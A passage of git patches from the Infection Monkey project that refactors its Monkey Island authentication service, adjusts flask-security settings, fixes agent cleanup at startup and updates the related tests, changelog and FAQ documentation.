self._sock_handle = sock - - logger.debug("Global singleton mutex %r acquired", self._unix_sock_name) - - return True - - def unlock(self): - assert self._sock_handle is not None, "Singleton not locked" - self._sock_handle.close() - self._sock_handle = None - - -if sys.platform == "win32": - import winerror - - SystemSingleton = WindowsSystemSingleton -else: - import socket - - SystemSingleton = LinuxSystemSingleton From a53e362b57a8129e5f724fac594a869694080f72 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 7 Mar 2023 19:28:36 +0000 Subject: [PATCH 0498/1338] Agent: Add a comment about startup/stop order --- monkey/infection_monkey/monkey.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 50f75b9fd6c..de3ffd52ac6 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -220,6 +220,8 @@ def start(self): logger.info("Agent is starting...") + # This check must be done after the agent event forwarder is started, otherwise the agent + # will be unable to send a shutdown event to the Island. should_stop = self._control_channel.should_agent_stop() if should_stop: logger.info("The Monkey Island has instructed this agent to stop") From 98f836f5cd499f5d514f5f59c69f9d807b0e665b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Mar 2023 15:27:12 -0500 Subject: [PATCH 0499/1338] Changelog: Add an entry for #2817 --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9879df6eb1a..a7ea1b39d0c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -19,6 +19,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). ### Security - Fixed plaintext private key in SSHKey pair list in UI. #2950 - MongoDB version from 4.x to 6.0.4. #2706 +- Replaced the `SystemSingleton` component, which could allow local users to + execute a DoS attack against agents. #2817 ## [2.0.0] - 2023-02-08 ### Added From 889fc66fd1775ff373b375d4075f625ef31f6248 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 8 Mar 2023 15:10:58 +0000 Subject: [PATCH 0500/1338] Agent: Fix cleanup when stop signal is received during startup --- monkey/infection_monkey/monkey.py | 7 +++++-- monkey/infection_monkey/plugin_event_forwarder.py | 5 +++-- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index de3ffd52ac6..c8ad16c08b7 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -450,7 +450,9 @@ def cleanup(self): self._publish_agent_shutdown_event() self._plugin_event_forwarder.flush() - self._agent_event_forwarder.flush() + + if self._agent_event_forwarder: + self._agent_event_forwarder.flush() self._heart.stop() @@ -462,7 +464,8 @@ def cleanup(self): InfectionMonkey._self_delete() finally: self._plugin_event_forwarder.stop() - self._agent_event_forwarder.stop() + if self._agent_event_forwarder: + self._agent_event_forwarder.stop() self._delete_plugin_dir() self._manager.shutdown() diff --git a/monkey/infection_monkey/plugin_event_forwarder.py b/monkey/infection_monkey/plugin_event_forwarder.py index 57065030671..6e0b91aef99 100644 --- a/monkey/infection_monkey/plugin_event_forwarder.py +++ b/monkey/infection_monkey/plugin_event_forwarder.py @@ -64,8 +64,9 @@ def stop(self, timeout=None): :param timeout: The number of seconds to wait for the PluginEventForwarder to stop """ logger.info("Stopping plugin event forwarder") - self._stop.set() - self._thread.join(timeout) + if self._thread.is_alive(): + self._stop.set() + self._thread.join(timeout) self.flush() def flush(self): From 7727ff1a6fe9988a5cbe44c7937998642de5ecf1 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 8 Mar 2023 17:24:24 +0000 Subject: [PATCH 0501/1338] Island: Disable default flask-security endpoints Disables the default login, logout, and register endpoints Issue #2157 PR #3071 --- monkey/monkey_island/cc/app.py | 13 ++++++++++++- monkey/monkey_island/cc/resources/auth/__init__.py | 6 +++--- monkey/monkey_island/cc/resources/auth/login.py | 4 +++- monkey/monkey_island/cc/resources/auth/logout.py | 4 +++- monkey/monkey_island/cc/resources/auth/register.py | 4 +++- 5 files changed, 24 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 4832e1b5cfd..9d9e35f2881 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -31,7 +31,15 @@ ResetAgentConfiguration, TerminateAllAgents, ) -from monkey_island.cc.resources.auth import Login, Logout, Register, RegistrationStatus +from monkey_island.cc.resources.auth import ( + LOGIN_URL, + LOGOUT_URL, + REGISTER_URL, + Login, + Logout, + Register, + RegistrationStatus, +) from monkey_island.cc.resources.exploitations.monkey_exploitation import MonkeyExploitation from monkey_island.cc.resources.island_mode import IslandMode from monkey_island.cc.resources.local_run import LocalRun @@ -79,6 +87,9 @@ def setup_authentication(app, data_dir): # the discussion https://github.com/guardicore/monkey/pull/3006#discussion_r1116944571 app.config["SECRET_KEY"] = flask_security_config["secret_key"] app.config["SECURITY_PASSWORD_SALT"] = flask_security_config["password_salt"] + app.config["SECURITY_LOGIN_URL"] = LOGIN_URL + app.config["SECURITY_LOGOUT_URL"] = LOGOUT_URL + app.config["SECURITY_REGISTER_URL"] = REGISTER_URL app.config["SECURITY_USERNAME_ENABLE"] = True app.config["SECURITY_USERNAME_REQUIRED"] = True app.config["SECURITY_REGISTERABLE"] = True diff --git a/monkey/monkey_island/cc/resources/auth/__init__.py b/monkey/monkey_island/cc/resources/auth/__init__.py index 010e344e7b2..3278a35e614 100644 --- a/monkey/monkey_island/cc/resources/auth/__init__.py +++ b/monkey/monkey_island/cc/resources/auth/__init__.py @@ -1,4 +1,4 @@ -from .login import Login -from .logout import Logout +from .login import Login, LOGIN_URL +from .logout import Logout, LOGOUT_URL from .registration_status import RegistrationStatus -from .register import Register +from .register import Register, REGISTER_URL diff --git a/monkey/monkey_island/cc/resources/auth/login.py b/monkey/monkey_island/cc/resources/auth/login.py index 85f1ac32234..7230fd3a36d 100644 --- a/monkey/monkey_island/cc/resources/auth/login.py +++ b/monkey/monkey_island/cc/resources/auth/login.py @@ -12,13 +12,15 @@ logger = logging.getLogger(__name__) +LOGIN_URL = "/api/login" + class Login(AbstractResource): """ A resource for user authentication """ - urls = ["/api/login"] + urls = [LOGIN_URL] def __init__(self, authentication_service: AuthenticationService): self._authentication_service = authentication_service diff --git a/monkey/monkey_island/cc/resources/auth/logout.py b/monkey/monkey_island/cc/resources/auth/logout.py index 1348e99223b..bb438fba7b2 100644 --- a/monkey/monkey_island/cc/resources/auth/logout.py +++ b/monkey/monkey_island/cc/resources/auth/logout.py @@ -11,13 +11,15 @@ logger = logging.getLogger(__name__) +LOGOUT_URL = "/api/logout" + class Logout(AbstractResource): """ A resource logging out an authenticated user """ - urls = ["/api/logout"] + urls = [LOGOUT_URL] def __init__(self, authentication_service: AuthenticationService): self._authentication_service = authentication_service diff --git a/monkey/monkey_island/cc/resources/auth/register.py b/monkey/monkey_island/cc/resources/auth/register.py index 05ceec4e961..5a00e07b62f 100644 --- a/monkey/monkey_island/cc/resources/auth/register.py +++ b/monkey/monkey_island/cc/resources/auth/register.py @@ -12,13 +12,15 @@ logger = logging.getLogger(__name__) +REGISTER_URL = "/api/register" + class Register(AbstractResource): """ A resource for user registration """ - urls = ["/api/register"] + urls = [REGISTER_URL] def __init__(self, authentication_service: AuthenticationService): self._authentication_service = authentication_service From cb41869b76b7ad4c1373818f5a1edf9d6fb67ddb Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 8 Mar 2023 18:13:52 +0000 Subject: [PATCH 0502/1338] Docs: Update island password reset documentation Issue #2157 PR #3072 --- docs/content/FAQ/_index.md | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index a908f91499e..ffe5390b6fd 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -89,12 +89,13 @@ However, you can save the Monkey's existing configuration by logging in with you ### On Windows and Linux (AppImage) When you first access the Monkey Island Server, you'll be prompted to create an account. -Creating an account will write your credentials in `credentials.json` file -under [data directory]({{< ref "/reference/data_directory" >}}). +Creating an account will write your credentials to the database in the [data directory]({{< ref "/reference/data_directory" >}}). + To reset the credentials: -1. **Remove** the `credentials.json` file manually -(located in the [data directory]({{< ref "/reference/data_directory" >}})). +1. **Remove** the data directory manually + + Because credentials are stored in the database, you must perform a complete factory reset in order to reset the credentials, which is accomplished by removing the entire [data directory]({{< ref "/reference/data_directory" >}}). 2. Restart the Monkey Island process: * On Linux, simply kill the Monkey Island process and execute the AppImage. @@ -102,11 +103,6 @@ To reset the credentials: 3. Go to the Monkey Island's URL and create a new account. -If you are still unable to log into Monkey Island after following the above -steps, you can perform a complete factory reset by removing the entire [data -directory]({{< ref "/reference/data_directory" >}}) and then restarting the -Monkey Island process. - ### On Docker When you first access the Monkey Island Server, you'll be prompted to create an account. To reset the credentials, you'll need to perform a complete factory reset: From 8bd5bb8100e0d426fbd276b7ae142d8ff551cf07 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 9 Mar 2023 15:13:42 +0530 Subject: [PATCH 0503/1338] Island: Don't register /verify endpoint --- monkey/monkey_island/cc/app.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 9d9e35f2881..e627498e631 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -1,3 +1,4 @@ +from datetime import timedelta import os from pathlib import Path @@ -99,6 +100,10 @@ def setup_authentication(app, data_dir): app.config["SECURITY_CSRF_IGNORE_UNAUTH_ENDPOINTS"] = True # Forbid sending authentication token in URL parameters app.config["SECURITY_TOKEN_AUTHENTICATION_KEY"] = None + # Setting this to a negative value makes sure that the SECURITY_VERIFY_URL ("/verify") + # endpoint isn't registered. We don't need the functionality this offers. + # https://flask-security-too.readthedocs.io/en/stable/configuration.html#SECURITY_FRESHNESS + app.config["SECURITY_FRESHNESS"] = timedelta(-1) # The database object needs to be created after we configure the flask application db = MongoEngine(app) From bdc0639c05fbb2c2bf609e94c96d3d5e87d0b703 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 9 Mar 2023 15:34:45 +0530 Subject: [PATCH 0504/1338] Island: Reword comment related to flask config --- monkey/monkey_island/cc/app.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index e627498e631..fcfc9b6bdfe 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -1,5 +1,5 @@ -from datetime import timedelta import os +from datetime import timedelta from pathlib import Path import flask_restful @@ -100,8 +100,8 @@ def setup_authentication(app, data_dir): app.config["SECURITY_CSRF_IGNORE_UNAUTH_ENDPOINTS"] = True # Forbid sending authentication token in URL parameters app.config["SECURITY_TOKEN_AUTHENTICATION_KEY"] = None - # Setting this to a negative value makes sure that the SECURITY_VERIFY_URL ("/verify") - # endpoint isn't registered. We don't need the functionality this offers. + # Setting this to a negative value disables freshness checking and "verify" + # endpoints. We don't need them. # https://flask-security-too.readthedocs.io/en/stable/configuration.html#SECURITY_FRESHNESS app.config["SECURITY_FRESHNESS"] = timedelta(-1) From a96ce9fea50c71c2baf74a453d0fe7ef4a163958 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 8 Mar 2023 16:36:05 +0100 Subject: [PATCH 0505/1338] Island: Set auth expiration time to 30 minutes Issue: #2157 PR: #3075 --- monkey/monkey_island/cc/app.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 9d9e35f2881..3dd89e88890 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -54,6 +54,7 @@ from monkey_island.cc.setup.mongo.mongo_setup import MONGO_DB_HOST, MONGO_DB_NAME, MONGO_DB_PORT HOME_FILE = "index.html" +AUTH_EXPIRATION_TIME = 30 * 60 # 30 minutes authentication token expiration time def serve_static_file(static_path): @@ -94,6 +95,8 @@ def setup_authentication(app, data_dir): app.config["SECURITY_USERNAME_REQUIRED"] = True app.config["SECURITY_REGISTERABLE"] = True app.config["SECURITY_SEND_REGISTER_EMAIL"] = False + + app.config["SECURITY_TOKEN_MAX_AGE"] = AUTH_EXPIRATION_TIME # Ignore CSRF, because it's irrelevant for javascript applications app.config["WTF_CSRF_CHECK_DEFAULT"] = False app.config["SECURITY_CSRF_IGNORE_UNAUTH_ENDPOINTS"] = True From bf5c206ba41d3832de424ea69f3ece1ff1fe550f Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 9 Mar 2023 17:39:05 +0200 Subject: [PATCH 0506/1338] Island: Construct Security object with register_blueprint --- monkey/monkey_island/cc/app.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 8a9c758e7e7..62f7b2dad3a 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -137,6 +137,7 @@ def to_dict(self, only_user): app, user_datastore, confirm_register_form=CustomConfirmRegisterForm, + register_blueprint=False, ) # Force Security to always respond as an API rather than HTTP server # This will cause 401 response instead of 301 for unauthorized requests for example From 7b8871e7ffa6fcdf26e09fcf4769a237b880c79d Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 9 Mar 2023 17:57:43 +0200 Subject: [PATCH 0507/1338] Revert "Island: Disable default flask-security endpoints" This reverts commit 7727ff1a6fe9988a5cbe44c7937998642de5ecf1. --- monkey/monkey_island/cc/app.py | 13 +------------ monkey/monkey_island/cc/resources/auth/__init__.py | 6 +++--- monkey/monkey_island/cc/resources/auth/login.py | 4 +--- monkey/monkey_island/cc/resources/auth/logout.py | 4 +--- monkey/monkey_island/cc/resources/auth/register.py | 4 +--- 5 files changed, 7 insertions(+), 24 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 62f7b2dad3a..0e54bf3c8d6 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -32,15 +32,7 @@ ResetAgentConfiguration, TerminateAllAgents, ) -from monkey_island.cc.resources.auth import ( - LOGIN_URL, - LOGOUT_URL, - REGISTER_URL, - Login, - Logout, - Register, - RegistrationStatus, -) +from monkey_island.cc.resources.auth import Login, Logout, Register, RegistrationStatus from monkey_island.cc.resources.exploitations.monkey_exploitation import MonkeyExploitation from monkey_island.cc.resources.island_mode import IslandMode from monkey_island.cc.resources.local_run import LocalRun @@ -89,9 +81,6 @@ def setup_authentication(app, data_dir): # the discussion https://github.com/guardicore/monkey/pull/3006#discussion_r1116944571 app.config["SECRET_KEY"] = flask_security_config["secret_key"] app.config["SECURITY_PASSWORD_SALT"] = flask_security_config["password_salt"] - app.config["SECURITY_LOGIN_URL"] = LOGIN_URL - app.config["SECURITY_LOGOUT_URL"] = LOGOUT_URL - app.config["SECURITY_REGISTER_URL"] = REGISTER_URL app.config["SECURITY_USERNAME_ENABLE"] = True app.config["SECURITY_USERNAME_REQUIRED"] = True app.config["SECURITY_REGISTERABLE"] = True diff --git a/monkey/monkey_island/cc/resources/auth/__init__.py b/monkey/monkey_island/cc/resources/auth/__init__.py index 3278a35e614..010e344e7b2 100644 --- a/monkey/monkey_island/cc/resources/auth/__init__.py +++ b/monkey/monkey_island/cc/resources/auth/__init__.py @@ -1,4 +1,4 @@ -from .login import Login, LOGIN_URL -from .logout import Logout, LOGOUT_URL +from .login import Login +from .logout import Logout from .registration_status import RegistrationStatus -from .register import Register, REGISTER_URL +from .register import Register diff --git a/monkey/monkey_island/cc/resources/auth/login.py b/monkey/monkey_island/cc/resources/auth/login.py index 7230fd3a36d..85f1ac32234 100644 --- a/monkey/monkey_island/cc/resources/auth/login.py +++ b/monkey/monkey_island/cc/resources/auth/login.py @@ -12,15 +12,13 @@ logger = logging.getLogger(__name__) -LOGIN_URL = "/api/login" - class Login(AbstractResource): """ A resource for user authentication """ - urls = [LOGIN_URL] + urls = ["/api/login"] def __init__(self, authentication_service: AuthenticationService): self._authentication_service = authentication_service diff --git a/monkey/monkey_island/cc/resources/auth/logout.py b/monkey/monkey_island/cc/resources/auth/logout.py index bb438fba7b2..1348e99223b 100644 --- a/monkey/monkey_island/cc/resources/auth/logout.py +++ b/monkey/monkey_island/cc/resources/auth/logout.py @@ -11,15 +11,13 @@ logger = logging.getLogger(__name__) -LOGOUT_URL = "/api/logout" - class Logout(AbstractResource): """ A resource logging out an authenticated user """ - urls = [LOGOUT_URL] + urls = ["/api/logout"] def __init__(self, authentication_service: AuthenticationService): self._authentication_service = authentication_service diff --git a/monkey/monkey_island/cc/resources/auth/register.py b/monkey/monkey_island/cc/resources/auth/register.py index 5a00e07b62f..05ceec4e961 100644 --- a/monkey/monkey_island/cc/resources/auth/register.py +++ b/monkey/monkey_island/cc/resources/auth/register.py @@ -12,15 +12,13 @@ logger = logging.getLogger(__name__) -REGISTER_URL = "/api/register" - class Register(AbstractResource): """ A resource for user registration """ - urls = [REGISTER_URL] + urls = ["/api/register"] def __init__(self, authentication_service: AuthenticationService): self._authentication_service = authentication_service From e5afaf00ec178029fa934069b761cf813f88a79f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 9 Mar 2023 14:17:12 -0500 Subject: [PATCH 0508/1338] Project: Remove stale vulture_allowlist entry --- vulture_allowlist.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index ebf50b4bffc..cfe159f54b0 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -139,6 +139,3 @@ # Remove after #2952 generate_brute_force_credentials secret_type_filter - -# Remove after #2817 -Agent.registration_time From 5ed8ed33ebe60d735a574107cc22b3d281e1cc6e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 8 Mar 2023 08:29:03 -0500 Subject: [PATCH 0509/1338] Island: Add AuthenticationService.handle_successful_registration() --- monkey/monkey_island/cc/services/authentication_service.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index 3e52e283bb7..cbe20182af7 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -28,6 +28,10 @@ def needs_registration(self) -> bool: """ return not User.objects.first() + def handle_successful_registration(self, username: str, password: str): + self.reset_island_data() + self.reset_repository_encryptor(username, password) + def reset_island_data(self): """ Resets the island From 4ecd6a22df9739015ec384f45c4a04ea88cc833a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 8 Mar 2023 08:32:11 -0500 Subject: [PATCH 0510/1338] Island: Add AuthenticationService.handle_successful_login() --- monkey/monkey_island/cc/services/authentication_service.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index cbe20182af7..421f29584b5 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -47,6 +47,9 @@ def reset_repository_encryptor(self, username: str, password: str): self._repository_encryptor.reset_key() self._repository_encryptor.unlock(secret.encode()) + def handle_successful_login(self, username: str, password: str): + self.unlock_repository_encryptor(username, password) + def unlock_repository_encryptor(self, username: str, password: str): secret = _get_secret_from_credentials(username, password) self._repository_encryptor.unlock(secret.encode()) From 18302900fbd0610e493a089f29d84334649db6b6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 8 Mar 2023 08:33:04 -0500 Subject: [PATCH 0511/1338] Island: Add AuthenticationService.handle_successful_logout() --- monkey/monkey_island/cc/services/authentication_service.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index 421f29584b5..73c4b9b1d30 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -54,6 +54,9 @@ def unlock_repository_encryptor(self, username: str, password: str): secret = _get_secret_from_credentials(username, password) self._repository_encryptor.unlock(secret.encode()) + def handle_successful_logout(self): + self.lock_repository_encryptor() + def lock_repository_encryptor(self): self._repository_encryptor.lock() From fa81ab588d2c34a6617ec123456dc195194296b2 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 8 Mar 2023 14:40:19 +0100 Subject: [PATCH 0512/1338] UT: Fix AuthenticationSerive.handle_successful_registration tests --- .../cc/services/test_authentication_service.py | 18 ++++-------------- 1 file changed, 4 insertions(+), 14 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py index 4e456835f68..b320a8cdb62 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py @@ -54,7 +54,7 @@ def test_needs_registration__false( assert not a_s.needs_registration() -def test_reset_island__unlock_encryptor_on_register( +def test_handle_successful_registration( mock_flask_app, tmp_path, mock_repository_encryptor, @@ -62,22 +62,12 @@ def test_reset_island__unlock_encryptor_on_register( ): a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) - a_s.reset_repository_encryptor(USERNAME, PASSWORD) + a_s.handle_successful_registration(USERNAME, PASSWORD) + assert mock_repository_encryptor.unlock.call_args[0][0] != USERNAME + assert mock_repository_encryptor.unlock.call_args[0][0] != PASSWORD mock_repository_encryptor.reset_key.assert_called_once() mock_repository_encryptor.unlock.assert_called_once() - assert mock_repository_encryptor.unlock.call_args[0][0] != USERNAME - - -def test_reset_island__publish_to_event_topics( - mock_flask_app, - tmp_path, - mock_repository_encryptor, - mock_island_event_queue, -): - a_s = AuthenticationService(tmp_path, mock_repository_encryptor, mock_island_event_queue) - - a_s.reset_island_data() assert mock_island_event_queue.publish.call_count == 3 mock_island_event_queue.publish.assert_has_calls( From 0221e61e2b52a0d332ba722847c51a7bbab39461 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 8 Mar 2023 14:42:33 +0100 Subject: [PATCH 0513/1338] Project: Add --check-untyped-defs to args in mypy pre-commit --- .pre-commit-config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 8b5c435020c..8bda7aea9f8 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -41,7 +41,7 @@ repos: - id: mypy additional_dependencies: [types-ipaddress, types-paramiko, types-python-dateutil, types-pytz, types-PyYAML, types-requests] exclude: "vulture_allowlist.py" - args: [--ignore-missing-imports] + args: [--ignore-missing-imports, --check-untyped-defs] - repo: https://github.com/koalaman/shellcheck-precommit rev: v0.9.0 hooks: From e20e4e4981d468627ac3d74b786bc42dfaf3b043 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 8 Mar 2023 14:43:28 +0100 Subject: [PATCH 0514/1338] Island: Use handle_successful_registration in Register endpoint --- monkey/monkey_island/cc/resources/auth/register.py | 3 +-- .../cc/resources/auth/test_register.py | 13 ++++++------- 2 files changed, 7 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/register.py b/monkey/monkey_island/cc/resources/auth/register.py index 05ceec4e961..2a6273d55e9 100644 --- a/monkey/monkey_island/cc/resources/auth/register.py +++ b/monkey/monkey_island/cc/resources/auth/register.py @@ -40,7 +40,6 @@ def post(self): return response_to_invalid_request() if response.status_code == HTTPStatus.OK: - self._authentication_service.reset_island_data() - self._authentication_service.reset_repository_encryptor(username, password) + self._authentication_service.handle_successful_registration(username, password) return make_response(response) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py index 257d7001067..a100f08295a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_register.py @@ -23,8 +23,7 @@ def inner(request_body): def test_register_failed(monkeypatch, make_registration_request, mock_authentication_service): response = make_registration_request("{}") - mock_authentication_service.reset_island_data.assert_not_called() - mock_authentication_service.reset_repository_encryptor.assert_not_called() + mock_authentication_service.handle_successful_registration.assert_not_called() assert response.status_code == 400 @@ -39,8 +38,9 @@ def test_register_successful(monkeypatch, make_registration_request, mock_authen response = make_registration_request(TEST_REQUEST) assert response.status_code == 200 - mock_authentication_service.reset_island_data.assert_called_once() - mock_authentication_service.reset_repository_encryptor.assert_called_once() + mock_authentication_service.handle_successful_registration.assert_called_with( + USERNAME, PASSWORD + ) @pytest.mark.parametrize( @@ -67,8 +67,7 @@ def test_register_invalid_request( response = make_registration_request(b"{}") assert response.status_code == 400 - mock_authentication_service.reset_island_data.assert_not_called() - mock_authentication_service.reset_repository_encryptor.assert_not_called() + mock_authentication_service.handle_successful_registration.assert_not_called() def test_register_error(monkeypatch, make_registration_request, mock_authentication_service): @@ -77,7 +76,7 @@ def test_register_error(monkeypatch, make_registration_request, mock_authenticat lambda: Response(status=200), ) - mock_authentication_service.reset_island_data = MagicMock(side_effect=Exception()) + mock_authentication_service.handle_successful_registration = MagicMock(side_effect=Exception()) response = make_registration_request(TEST_REQUEST) From 84de88e79c27e559924b8e958dd55c8f77f25649 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 8 Mar 2023 14:50:41 +0100 Subject: [PATCH 0515/1338] Island: Use handle_successful_logout in Logout endpoint --- monkey/monkey_island/cc/resources/auth/logout.py | 2 +- .../unit_tests/monkey_island/cc/resources/auth/test_logout.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/logout.py b/monkey/monkey_island/cc/resources/auth/logout.py index 1348e99223b..5468042f9bc 100644 --- a/monkey/monkey_island/cc/resources/auth/logout.py +++ b/monkey/monkey_island/cc/resources/auth/logout.py @@ -31,6 +31,6 @@ def post(self): if not isinstance(response, Response): return response_to_invalid_request() if response.status_code == HTTPStatus.OK: - self._authentication_service.lock_repository_encryptor() + self._authentication_service.handle_successful_logout() return make_response(response) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py index 9ba4ec410af..c812f366cb5 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/auth/test_logout.py @@ -34,7 +34,7 @@ def test_logout_failed( monkeypatch.setattr("monkey_island.cc.resources.auth.logout.logout", lambda: logout_response) response = make_logout_request(TEST_REQUEST) - mock_authentication_service.lock_repository_encryptor.assert_not_called() + mock_authentication_service.handle_successful_logout.assert_not_called() assert response.status_code == 400 @@ -49,4 +49,4 @@ def test_logout_successful(monkeypatch, make_logout_request, mock_authentication response = make_logout_request("") assert response.status_code == 200 - mock_authentication_service.lock_repository_encryptor.assert_called_once() + mock_authentication_service.handle_successful_logout.assert_called_once() From daf5da180e2e9fd9d1e0009b7dc3799017c113e0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 8 Mar 2023 08:49:17 -0500 Subject: [PATCH 0516/1338] Island: Rename AuthenticationService.{,_}reset_island_data() --- monkey/monkey_island/cc/services/authentication_service.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index 73c4b9b1d30..b372c06dbc7 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -29,10 +29,10 @@ def needs_registration(self) -> bool: return not User.objects.first() def handle_successful_registration(self, username: str, password: str): - self.reset_island_data() self.reset_repository_encryptor(username, password) + self._reset_island_data() - def reset_island_data(self): + def _reset_island_data(self): """ Resets the island """ From d21a1a2305d8728ec83cc2469566b9f33291c428 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 8 Mar 2023 08:49:59 -0500 Subject: [PATCH 0517/1338] Island: Rename AuthenticationService.{,_}reset_repository_encryptor() --- monkey/monkey_island/cc/services/authentication_service.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service.py b/monkey/monkey_island/cc/services/authentication_service.py index b372c06dbc7..4f8f3b05bf9 100644 --- a/monkey/monkey_island/cc/services/authentication_service.py +++ b/monkey/monkey_island/cc/services/authentication_service.py @@ -29,8 +29,8 @@ def needs_registration(self) -> bool: return not User.objects.first() def handle_successful_registration(self, username: str, password: str): - self.reset_repository_encryptor(username, password) self._reset_island_data() + self._reset_repository_encryptor(username, password) def _reset_island_data(self): """ @@ -42,7 +42,7 @@ def _reset_island_data(self): topic=IslandEventTopic.SET_ISLAND_MODE, mode=IslandMode.UNSET ) - def reset_repository_encryptor(self, username: str, password: str): + def _reset_repository_encryptor(self, username: str, password: str): secret = _get_secret_from_credentials(username, password) self._repository_encryptor.reset_key() self._repository_encryptor.unlock(secret.encode()) From 2fb762ed17542fbc102a7a45d6c4f89b15e0377e Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 8 Mar 2023 14:53:57 +0100 Subject: [PATCH 0518/1338] Island: Use handle_successful_login in Login endpoint --- monkey/monkey_island/cc/resources/auth/login.py | 